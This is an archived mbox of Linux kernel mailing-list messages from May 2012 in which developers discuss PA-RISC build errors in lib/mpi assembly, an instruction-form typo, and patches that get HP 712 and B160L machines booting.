	id S1752211Ab2EPMYV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 08:24:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57268 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751090Ab2EPMYV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 08:24:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D51468EE0DD;
	Wed, 16 May 2012 05:24:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4NLryNptmKFG; Wed, 16 May 2012 05:24:20 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 706B68EE081;
	Wed, 16 May 2012 05:24:19 -0700 (PDT)
In-Reply-To: <2e923666713a6289672b48e9fa620f3b.squirrel@webmail.sf-mail.de>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4412
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4412>

On Wed, 2012-05-16 at 13:57 +0200, Rolf Eike Beer wrote:
> > As pointed out by serveral people, PA1.1 only has a type 26 instruction
> > meaning that the space register must be explicitly encoded.  Not giving an
> > explicit space means that the compiler uses the type 24 version which is
> > PA2.0
> > only resulting in an illegal instruction crash.
> 
> > +	/* fic only has the type 24 form on PA1.1, requiring an
> > +	 * explicit space specification, so use %sr4 */
> 
> Once you say 2.0 and once 1.1, I assume the latter is a typo?

Yes, it should be 26 ... I already fixed this up before pushing it out.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Wed, 16 May 2012 15:46:03 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
	 <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337179594 14180 80.91.229.3 (16 May 2012 14:46:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 14:46:34 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Dmitry Kasatkin <dmitry.kasatkin@intel.com>,
	James Morris <jmorris@namei.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 16 16:46:32 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SUfUm-0007VJ-7Z
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 May 2012 16:46:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753598Ab2EPOqM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 May 2012 10:46:12 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57705 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752567Ab2EPOqH (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 May 2012 10:46:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C30FB8EE0E0;
	Wed, 16 May 2012 07:46:06 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uNAjD2aydjaz; Wed, 16 May 2012 07:46:06 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 178118EE081;
	Wed, 16 May 2012 07:46:04 -0700 (PDT)
In-Reply-To: <CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1298259 gmane.linux.ports.ppc64.devel:82117 gmane.linux.ports.parisc:4413
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1298259>

On Wed, 2012-05-16 at 10:47 +0200, Geert Uytterhoeven wrote:
> On Wed, May 16, 2012 at 10:30 AM, Geert Uytterhoeven
> <geert@linux-m68k.org> wrote:
>   + lib/mpi/generic_mpih-mul1.c: error: inconsistent operand
> constraints in an 'asm':  => 50:70
>   + lib/mpi/generic_mpih-mul2.c: error: inconsistent operand
> constraints in an 'asm':  => 49:70
>   + lib/mpi/generic_mpih-mul3.c: error: inconsistent operand
> constraints in an 'asm':  => 49:70
>   + lib/mpi/mpih-div.c: error: inconsistent operand constraints in an
> 'asm':  => 135:122, 135:371, 97:122, 106:121, 106:370, 97:371
> 
> parisc-allmodconfig

Wow, lib/mpi/ is a complete horror: it's full of hand crafted asm code.
The error in this case appears to be that umul_ppm() is implemented as
an xmpyu instruction.  That's a floating point instruction.  We
deliberately compile the kernel with floating point disabled because we
don't want to save and restore the floating point register file on each
context switch, hence the operand constraints are unsatisfiable.

It appears to be completely untested on non-x86 and to have been
imported via the security tree ... what are we supposed to do with this?
I thought the general principle was that asm code was really supposed to
be confined to the arch directories?

James



From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 15:59:26 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <1337180366.2985.81.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	  <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	 <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	 <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	 <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	 <4FB2C129.90307@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337180373 21215 80.91.229.3 (16 May 2012 14:59:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 14:59:33 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 16:59:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUfhL-0001Gw-3w
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 16:59:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753231Ab2EPO7a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 10:59:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57726 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753220Ab2EPO7a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 10:59:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CAF948EE0E0;
	Wed, 16 May 2012 07:59:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OzaRr-G8lbQM; Wed, 16 May 2012 07:59:29 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 750F68EE081;
	Wed, 16 May 2012 07:59:28 -0700 (PDT)
In-Reply-To: <4FB2C129.90307@bell.net>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4414
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4414>

On Tue, 2012-05-15 at 16:48 -0400, John David Anglin wrote:
> On 5/15/2012 4:28 PM, Helge Deller wrote:
> > Will you send your patches to Linus as he requested in the other mail?
> You have the diff for the two PA 1.1 changes.  Suggest you send them.
> I think these should go to stable as well as soon as it is verified that all
> targets boot.
> 
> I think my cache-2 is more appropriate for linux-next.  There are a number
> of subtle issues with it.  I am pleased that the users that have tried 
> it have
> been generally happy with it.

So to be a patch for the linux kernel, it really needs to be divided up
into its components.  It looks like cache-2 is a combination of five or
six separate things, and each one needs a change long.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kasatkin, Dmitry" <dmitry.kasatkin@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Wed, 16 May 2012 18:59:33 +0300
Lines: 47
Approved: news@gmane.org
Message-ID: <CALLzPKbEC0zwa0uRiLAkDYkRkL4EM8ZgSEn1DagqhZsT4MXgdQ@mail.gmail.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
	<CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
	<1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337184004 21152 80.91.229.3 (16 May 2012 16:00:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 16:00:04 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	linux-kernel@vger.kernel.org,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	James Morris <jmorris@namei.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 16 17:59:59 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SUgdq-000398-Jx
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 May 2012 17:59:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756294Ab2EPP7h convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 May 2012 11:59:37 -0400
Original-Received: from mga07.intel.com ([143.182.124.22]:23550 "EHLO
	azsmga101.ch.intel.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755950Ab2EPP7e convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 May 2012 11:59:34 -0400
Original-Received: from mail-pb0-f52.google.com ([209.85.160.52])
  by mga03.intel.com with ESMTP/TLS/RC4-MD5; 16 May 2012 08:59:33 -0700
Original-Received: by pbbro8 with SMTP id ro8so1344672pbb.25
        for <linux-kernel@vger.kernel.org>; Wed, 16 May 2012 08:59:33 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding:x-gm-message-state;
        bh=VgUxk74qhcqHWZ7mwmtAOzCuEEsOp+3rWcj/MP8xEhk=;
        b=VnglPSbEyYL82UUqvyKaJ5ugr0FU+GZNkntQhDbAwkEYCWXMcd2elqTmRsuz1X2N+5
         MZN+9zM+SkpRXPuSG3/3sPm4s0lavIOVDH1vO6dMIk0m117tdZ1GGBfoBjVx2Pjf46Dt
         5hR/DeVc1bRwAfyUsJHi01c/maBnmVvOXGhSB0YpyLB7IJytyqnDbXxYq+zOWeD5QDk7
         yK60iB/ySheAuqy5ZJ74DmkTzwFgJumiZ/iAZCrDr3irHmJdQ3DLZULBCe476fWQ2G5L
         rw/6XGYNfdHnNn+9B+ODQU92GRXIXqHGRYtB4W+dXpkFPiKM8GPt/v0hNDg6+9eq23Lf
         fANg==
Original-Received: by 10.68.132.194 with SMTP id ow2mr17465999pbb.161.1337183973341;
 Wed, 16 May 2012 08:59:33 -0700 (PDT)
Original-Received: by 10.68.231.163 with HTTP; Wed, 16 May 2012 08:59:33 -0700 (PDT)
In-Reply-To: <1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
X-Gm-Message-State: ALoCoQnqKwLI5Roz/cCk9Ne+QUNp6iET7o9hXw8RGwmGE3u0p1pngCy0H1MqB+1MEUKTziZWMTbL
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1298314 gmane.linux.ports.ppc64.devel:82118 gmane.linux.ports.parisc:4415
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1298314>

On Wed, May 16, 2012 at 5:46 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Wed, 2012-05-16 at 10:47 +0200, Geert Uytterhoeven wrote:
>> On Wed, May 16, 2012 at 10:30 AM, Geert Uytterhoeven
>> <geert@linux-m68k.org> wrote:
>> =C2=A0 + lib/mpi/generic_mpih-mul1.c: error: inconsistent operand
>> constraints in an 'asm': =C2=A0=3D> 50:70
>> =C2=A0 + lib/mpi/generic_mpih-mul2.c: error: inconsistent operand
>> constraints in an 'asm': =C2=A0=3D> 49:70
>> =C2=A0 + lib/mpi/generic_mpih-mul3.c: error: inconsistent operand
>> constraints in an 'asm': =C2=A0=3D> 49:70
>> =C2=A0 + lib/mpi/mpih-div.c: error: inconsistent operand constraints=
 in an
>> 'asm': =C2=A0=3D> 135:122, 135:371, 97:122, 106:121, 106:370, 97:371
>>
>> parisc-allmodconfig
>
> Wow, lib/mpi/ is a complete horror: it's full of hand crafted asm cod=
e.
> The error in this case appears to be that umul_ppm() is implemented a=
s
> an xmpyu instruction. =C2=A0That's a floating point instruction. =C2=A0=
We
> deliberately compile the kernel with floating point disabled because =
we
> don't want to save and restore the floating point register file on ea=
ch
> context switch, hence the operand constraints are unsatisfiable.
>
> It appears to be completely untested on non-x86 and to have been
> imported via the security tree ... what are we supposed to do with th=
is?
> I thought the general principle was that asm code was really supposed=
 to
> be confined to the arch directories?
>
> James
>
>

Yes.. it is suxx.
But it is only longlong.h and inherited from gpg..
And now there is a stuff such as /include/math-emu/soft-fp and
<stdlib/longlong.h>
I planned to look to that but now I will start doing it right away.

- Dmitry

From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: Build regressions/improvements in v3.4-rc7
Date: Wed, 16 May 2012 17:59:56 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <CAMuHMdX13f4-3_Oe8bwZAnZpwDSV11Oxdgh--njiNGJ2KLAAww@mail.gmail.com>
References: <1337157034-22773-1-git-send-email-geert@linux-m68k.org>
	<CAMuHMdUtL4_mv-e-EQAZmNcb9dAT=PXB59i7Vuj2vf8NnaBFzQ@mail.gmail.com>
	<1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1337184011 21241 80.91.229.3 (16 May 2012 16:00:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 16:00:11 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Linuxppc-dev <linuxppc-dev@ozlabs.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	Dmitry Kasatkin <dmitry.kasatkin@intel.com>,
	James Morris <jmorris@namei.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 18:00:09 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUgdw-0003Ie-TH
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 18:00:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756396Ab2EPQAC convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 12:00:02 -0400
Original-Received: from mail-gg0-f174.google.com ([209.85.161.174]:64265 "EHLO
	mail-gg0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756441Ab2EPP76 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 11:59:58 -0400
Original-Received: by gglu4 with SMTP id u4so833944ggl.19
        for <multiple recipients>; Wed, 16 May 2012 08:59:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=6BT6tk55bY7XXvzuwG20is7RQKgwEa+sQ06Y+IDKtlo=;
        b=hcDxmHuutbF9F35lzP322Cd2721Uaeoo7aTOhP4DuMIeloYoH8GERrlBj7T8ZIuOfG
         /w8hMBLdLZvpeSQwEGYw9uTONArPOAnN/uEF0AV4kzRNHFCD2FAPdLXmFV6Wo09dlLmE
         qWPHyc/w/J60xP7MH6N5MJ6D1ojZudTp39Wo5Ob2NxnUag1j8ohCcxkiRx+wGg/uHz51
         EVgsly2QgrdhVvZ4iMsTUvfxOp3OLJJWmt/JIHScyTIyoFSblt1NLytyxG6T2HO8Uv6j
         Rbo+RckhF49AYhqAyXDgy9eMuQRVVCGhP9HSfYl461LEjkamlK9pRQWfmzS9g8Jrxkgf
         VtkQ==
Original-Received: by 10.43.47.10 with SMTP id uq10mr2280721icb.15.1337183997588; Wed,
 16 May 2012 08:59:57 -0700 (PDT)
Original-Received: by 10.231.253.93 with HTTP; Wed, 16 May 2012 08:59:56 -0700 (PDT)
In-Reply-To: <1337179563.2985.80.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: A8uuJZodSPpoT1ilUfjtnPpvZmE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4416 gmane.linux.kernel:1298315 gmane.linux.ports.ppc64.devel:82119
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4416>

On Wed, May 16, 2012 at 4:46 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Wed, 2012-05-16 at 10:47 +0200, Geert Uytterhoeven wrote:
>> On Wed, May 16, 2012 at 10:30 AM, Geert Uytterhoeven
>> <geert@linux-m68k.org> wrote:
>> =C2=A0 + lib/mpi/generic_mpih-mul1.c: error: inconsistent operand
>> constraints in an 'asm': =C2=A0=3D> 50:70
>> =C2=A0 + lib/mpi/generic_mpih-mul2.c: error: inconsistent operand
>> constraints in an 'asm': =C2=A0=3D> 49:70
>> =C2=A0 + lib/mpi/generic_mpih-mul3.c: error: inconsistent operand
>> constraints in an 'asm': =C2=A0=3D> 49:70
>> =C2=A0 + lib/mpi/mpih-div.c: error: inconsistent operand constraints=
 in an
>> 'asm': =C2=A0=3D> 135:122, 135:371, 97:122, 106:121, 106:370, 97:371
>>
>> parisc-allmodconfig
>
> Wow, lib/mpi/ is a complete horror: it's full of hand crafted asm cod=
e.
> The error in this case appears to be that umul_ppm() is implemented a=
s
> an xmpyu instruction. =C2=A0That's a floating point instruction. =C2=A0=
We
> deliberately compile the kernel with floating point disabled because =
we
> don't want to save and restore the floating point register file on ea=
ch
> context switch, hence the operand constraints are unsatisfiable.

It also does fishy things on m68k, cfr. https://lkml.org/lkml/2012/3/11=
/22

> It appears to be completely untested on non-x86 and to have been
> imported via the security tree ... what are we supposed to do with th=
is?
> I thought the general principle was that asm code was really supposed=
 to
> be confined to the arch directories?

Kick it out again, or contain it in staging?

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 16 May 2012 21:07:54 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <4FB3FB0A.4070208@gmx.de>
References: <4FA9975C.5060708@bergerie>	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>	 <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB2C411.4020408@bergerie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337195281 20806 80.91.229.3 (16 May 2012 19:08:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 16 May 2012 19:08:01 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Vincent <vincent.stehle@laposte.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 16 21:07:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUjZn-0000xK-3e
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 May 2012 21:07:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760269Ab2EPTH6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 May 2012 15:07:58 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:44673 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1755502Ab2EPTH6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 May 2012 15:07:58 -0400
Original-Received: (qmail invoked by alias); 16 May 2012 19:07:56 -0000
Original-Received: from p54AD0751.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.7.81]
  by mail.gmx.net (mp072) with SMTP; 16 May 2012 21:07:56 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX199Ln1WW3d9wtI4PEcOdJdLhee4O4BH7pA5hAv4nN
	SXzgZvxLID2zR2
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <4FB2C411.4020408@bergerie>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4417
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4417>

On 05/15/2012 11:01 PM, Vincent wrote:
> On 05/15/2012 11:13 AM, James Bottomley wrote:
> (..)
>> OK, I think this is the problem.  We have a depd instruction in do_alias
>> which is now in the _11 fault paths.
>>
>> This should be the fix, if someone wants to test it before I can get
>> around to building it.
> Hi James,
>
> This makes my hp712 boot now; congrats!
>
> Works for me with v3.4-rc6 and v3.4-rc7, with the following "patches pile":
>
> depd patch     (http://www.spinics.net/lists/linux-parisc/msg04169.html)
> sections patch (http://www.spinics.net/lists/linux-parisc/msg04091.html)
> cache patch    (http://www.spinics.net/lists/linux-parisc/msg04120.html)
> v3.4-rc7
I can confirm that the "sections patch" mentioned above is needed for my 
B160L as well.
It probably happens since I build a monolithic kernel with all needed 
modules built-in.

@James: Any chance to include this patch (or a similar one) into your 
fixes branch?

BTW, I still have issues with the B160L hanging after starting crond.... 
looking into it now...

Helge


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
